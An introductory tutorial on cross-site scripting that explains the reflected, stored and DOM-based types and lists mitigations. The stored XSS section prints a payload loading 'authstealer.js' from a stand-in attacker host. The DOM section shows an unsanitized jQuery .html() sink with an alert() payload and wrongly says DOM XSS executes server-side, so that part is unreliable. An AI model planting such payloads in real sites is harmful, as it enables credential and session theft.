Cross-Site Scripting (XSS)

Introduction

In this article, we are going to learn about Cross-Site Scripting also commonly known as (XSS) which has now become a very common web application attack in recent years and is listed seventh on the OWASP Top Ten 2017. We will look at its definition, different types and lastly we will look at how to mitigate XSS.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting is a type of injection in which attackers use malicious scripts into trusted web applications or websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a client-side script, to a different end-user. Vulnerabilities that allow XSS to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker uses XSS to send a malicious script to an unsuspecting user. The end user's browser has no way of detecting the malicious nature of the script and will execute the script. The malicious script can access any cookies, session tokens, or other sensitive information stored by the browser and used with that site. These malicious scripts can even write the content of the HTML page.

Types of Cross-Site Scripting (XSS)

There are three main types of XSS:

· Reflected XSS

· Stored XSS

· DOM-Based XSS

XSS Animation

Reflected XSS

Generally, Reflected XSS entails that the malicious script comes from the current HTTP request. Attackers normally use attractive links on web pages to lure unsuspecting users to click the link and once they click the attacker may have access to the user's session token, passwords, or any other sensitive information the script requires without the innocent user knowing. Reflected XSS poses danger to anyone who is lured to click the infected link.

Stored XSS

Unlike with a Reflected attack, the Stored XSS attack resides on the Web page of the compromised website or web application and every time users visit the page the attacker may have access to every information which may be stored in the browser. For example, an attacker may realize that HTML tags may be embedded in the comments section of a web page.

<script src=”http://evildoersssite.com/authstealer.js”> </script>.

The attacker will store his malicious script within the comments section but every user who visits that particular page will be open to attack even if they do not even post a comment.

DOM XSS

The XSS attacks described above have something in common: the web page with embedded malicious scripts is formed on the server-side. However, the client frameworks used in modern web applications allow changing a web page without accessing the server. The document object model (DOM) can be modified directly on the client-side.

The main premise behind this vulnerability remains the same: specifically, poorly implemented processing of HTML escape sequences. This leads to attacker-controlled JavaScript appearing in the text of a web page and then this code is executed in the context of the server posing harm to unsuspecting users.

Example:

<div id="warning-text">This is a warning alert</div>

The HTML code has an element with the identifier “warning-text” , meaning that it is used to display the text of a message. The DOM tree can be used by an attacker with a JavaScript function:

function warning(msg) { $("#warning-text").html(msg); $("#msg").prop('style', 'display:inherit'); }

The script displays the message with the html() function, which doesn’t sanitize HTML escape sequences. Such an implementation is vulnerable if a malicious script is passed to the function.

<script>alert(“Evildoer”)</script>

In this case, the malicious script will be executed on the server-side, compromising the website or web page.

Cross-Site Scripting Possible Dangers

· Impersonate or masquerade as the victim user.

· Carry out any action that the user can perform.

· Read any data that the user can access.

· Capture the user's login credentials.

· Perform virtual defacement of the web site.

· Inject Trojan functionality into the web site.

How to mitigate XSS

Effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

· Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.

· Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.

· Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

· Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.

Conclusion:-

The impact of Cross-Site Scripting is very serious because in most of its implementations it targets unsuspecting users who might end up losing money, or filing law-suits against organizations thereby damaging organizational reputation as well as the clients.